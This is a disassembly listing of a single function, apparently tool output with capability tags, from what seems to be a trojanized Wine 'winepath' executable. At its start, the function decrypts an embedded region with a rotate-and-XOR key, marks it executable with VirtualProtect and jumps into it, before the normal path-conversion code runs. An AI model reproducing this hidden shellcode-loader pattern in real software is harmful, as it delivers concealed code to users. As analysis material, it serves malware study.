Function at 0x401360
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x324
push ebx
push esi
push edi
push 0x2ebae40
xor edi, edi
call sub.MSVCRT.dll_malloc
mov esi, eax
add esp, 4
test esi, esi
jne 0x40138a
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0x10
push 0x2ebae40
push 0xa0
push esi
call sub.MSVCRT.dll_memset
add esp, 0xc
xor ecx, ecx
lea ebx, [ecx + 0xd]
nop dword [eax]
nop word [eax + eax]
movzx eax, byte [ecx + 0x403010]
ror al, 3
xor al, byte [edi + str.xukyrskhtllxb]
mov byte [ecx + 0x403010], al
lea eax, [edi + 1]
cdq
idiv ebx
movzx eax, byte [ecx + str._e1_a_]
ror al, 3
xor al, byte [edx + str.xukyrskhtllxb]
mov byte [ecx + str._e1_a_], al
lea eax, [edx + 1]
cdq
idiv ebx
movzx eax, byte [ecx + 0x403012]
ror al, 3
xor al, byte [edx + str.xukyrskhtllxb]
mov byte [ecx + 0x403012], al
lea eax, [edx + 1]
cdq
idiv ebx
movzx eax, byte [ecx + 0x403013]
ror al, 3
xor al, byte [edx + str.xukyrskhtllxb]
mov byte [ecx + 0x403013], al
lea eax, [edx + 1]
cdq
idiv ebx
movzx eax, byte [ecx + 0x403014]
ror al, 3
xor al, byte [edx + str.xukyrskhtllxb]
mov byte [ecx + 0x403014], al
lea eax, [edx + 1]
cdq
add ecx, 5
idiv ebx
mov edi, edx
cmp ecx, 0x175c
jb 0x4013b0
lea eax, [ebp - 0x18]
push eax
push 0x40
push 0x175c
push 0x403010
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
lea eax, [0x403010]
call eax
push esi
call sub.MSVCRT.dll_free
mov esi, dword [ebp - 4]
xor edx, edx
add esp, 4
mov dword [ebp - 8], edx
xor ebx, ebx
cmp dword [esi + 4], edx
je 0x40158b
mov eax, 2
lea edi, [esi + 4]
mov dword [ebp - 4], eax
mov dword [ebp - 0xc], edi
test edx, edx
jne 0x401588
mov esi, dword [edi]
mov dword [ebp - 0x10], esi
cmp word [esi], 0x2d
je 0x4014b7
inc eax
add edi, 4
mov dword [ebp - 4], eax
mov dword [ebp - 0xc], edi
jmp 0x40157e
movzx eax, word [esi + 2]
cmp eax, 0x2d
jne 0x40151e
cmp word [esi + 4], 0
jne 0x4014d4
mov edx, 1
mov dword [ebp - 8], edx
jmp 0x401551
mov eax, dword [str.long]
xor edi, edi
test eax, eax
je 0x401505
lea ecx, [esi + 4]
mov dword [ebp - 0x14], ecx
mov esi, ecx
push eax
push esi
call dword [sym.imp.KERNEL32.dll_lstrcmpiW]
test eax, eax
je 0x4014ff
mov eax, dword [edi*4 + 0x404770]
inc edi
test eax, eax
jne 0x4014e7
mov esi, dword [ebp - 0x10]
mov edx, dword [ebp - 8]
mov eax, dword [edi*4 + 0x40476c]
test eax, eax
je 0x40154e
movzx eax, word [eax]
push esi
push eax
call fcn.004011a0
or ebx, eax
jmp 0x40154b
mov edi, 1
test ax, ax
je 0x40154e
mov eax, 2
nop dword [eax]
movzx eax, word [eax + esi]
push 0
push eax
call fcn.004011a0
or ebx, eax
lea edi, [edi + 1]
lea eax, [edi + edi]
cmp word [eax + esi], 0
jne 0x401530
mov edx, dword [ebp - 8]
mov edi, dword [ebp - 0xc]
mov eax, dword [ebp - 4]
mov ecx, eax
test esi, esi
je 0x401588
lea eax, [edi + 4]
mov edx, edi
mov edi, dword [ebp - 4]
mov eax, dword [eax]
lea ecx, [ecx + 1]
mov dword [edx], eax
lea eax, [edi + ecx*4]
cmp dword [eax - 4], 0
lea edx, [eax - 4]
jne 0x401562
mov edi, dword [ebp - 0xc]
mov eax, dword [ebp - 4]
mov edx, dword [ebp - 8]
mov esi, dword [edi]
test esi, esi
jne 0x401495
mov esi, dword [ebp - 4]
test ebx, 0x10
mov ecx, 0
mov edx, 0xa
mov eax, ebx
cmove ecx, edx
mov dword [ebp - 4], ecx
mov ecx, ebx
xor ecx, 0x10
test eax, 0x10
mov eax, 4
cmove ecx, ebx
test ecx, ecx
cmove ecx, eax
test al, cl
jne 0x4016de
test cl, 8
je 0x4015ed
push str.wine_get_dos_file_name
push str.KERNEL32
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.winepath
push str._s:_cannot_get_the_address_of_wine_get_dos_file_name_n
jmp 0x4016ff
cmp dword [esi + 4], 0
mov ebx, 1
je 0x4016da
mov edx, ecx
lea edi, [esi + 4]
and edx, 2
and ecx, ebx
mov dword [ebp - 0x10], edx
mov dword [ebp - 8], ecx
nop dword [eax]
mov byte [ebp - 0x11c], 0
test edx, edx
je 0x401670
push 0x104
lea eax, [ebp - 0x324]
push eax
push dword [edi]
call dword [sym.imp.KERNEL32.dll_GetLongPathNameW]
test eax, eax
je 0x401656
push 0
push 0
push 0x104
lea eax, [ebp - 0x11c]
push eax
push 0xffffffffffffffff
lea eax, [ebp - 0x324]
push eax
push 0
push 0
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
push dword [ebp - 4]
lea eax, [ebp - 0x11c]
push eax
push str._s_c
call fcn.00401330
mov ecx, dword [ebp - 8]
add esp, 0xc
test ecx, ecx
je 0x4016c9
push 0x104
lea eax, [ebp - 0x324]
push eax
push dword [edi]
call dword [sym.imp.KERNEL32.dll_GetShortPathNameW]
test eax, eax
je 0x4016af
push 0
push 0
push 0x104
lea eax, [ebp - 0x11c]
push eax
push 0xffffffffffffffff
lea eax, [ebp - 0x324]
push eax
push 0
push 0
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
push dword [ebp - 4]
lea eax, [ebp - 0x11c]
push eax
push str._s_c
call fcn.00401330
mov ecx, dword [ebp - 8]
add esp, 0xc
mov edx, dword [ebp - 0x10]
inc ebx
cmp dword [esi + ebx*4], 0
lea edi, [esi + ebx*4]
jne 0x401610
push 0
jmp 0x401714
push str.wine_get_unix_file_name
push str.KERNEL32
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.winepath
push str._s:_cannot_get_the_address_of_wine_get_unix_file_name_n
push 2
call 0x400000
add esp, 4
push eax
call fcn.00401300
add esp, 0xc
push 3
call sub.MSVCRT.dll_exit
int3